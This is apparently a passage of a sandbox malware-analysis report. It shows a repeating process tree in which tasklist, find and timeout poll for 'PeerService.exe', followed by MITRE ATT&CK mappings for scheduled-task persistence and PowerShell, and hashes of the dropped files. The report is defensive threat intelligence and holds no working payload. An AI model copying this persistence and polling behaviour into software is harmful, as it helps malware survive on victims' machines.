    - Suspicious use of AdjustPrivilegeToken
    PID:540
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:700
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3380
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5988
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4400
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5268
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4260
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3012
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:628
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:640
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4476
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2856
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5824
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5712
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3004
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:6024
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4392
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1208
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:820
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5964
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5580
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3088
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4360
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3028
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4920
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4900
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2292
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4036
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4808
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3760
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4576
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:6128
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3812
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4860
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3240
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4008
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4300
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2776
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5368
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6088
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3708
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4796
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4076
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4192
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4436
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5860
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9bc8077a440f3351ddd5486143c6996eff21690fa58c65417b8917fc435e8a43
MD5 05b616eb1d81480626e2d2e1da9f75e4
SHA1 08426a539bd7fd5e7ada0673378143a81b937e4b
SHA512 3ea70a33adaaaf4c5a2effb12267a4555a9585b7e2ff70c9bc56333f5a51fc973e2dd11e67b13fa4f9aea68b51dcdf94ef32776899ca33345bb5cc776599d3c3
TLSH
T13F112227F38C8920CC96163A509DAC5172B586CB81AEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_22vbpdon.xl0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22vbpdon.xl0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 6.0MB
SHA256 a88279a931a0c42423b18eb1e684dde1dafa10074635710fd00c726e97b85033
MD5 de860b9a43a8beb7d00936a8b53db7a8
SHA1 dca95ba78804a22dc9433942a875854bbe23054e
SHA512 91bb39ea8defd60f7675f61280211922eb68b57005f19fc109956088db80a771bd1a35b310263d31dd429bfa717867d5f4a27c948e0d9732b1a8edae4cfb60c8
SSDEEP 196608:4+hx9ekEGByQyVG/uzGNVyAvByQyVG/uzGNVyAD:X9eMNSG/lVr5NSG/lVrD
TLSH
T10D56F16BB26901E8D1BFD17CC9065907EBB2780543A0A6DF12E046A62F73BE14F7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5796-22-0x000001A922A70000-0x000001A922A92000-memory.dmp

Download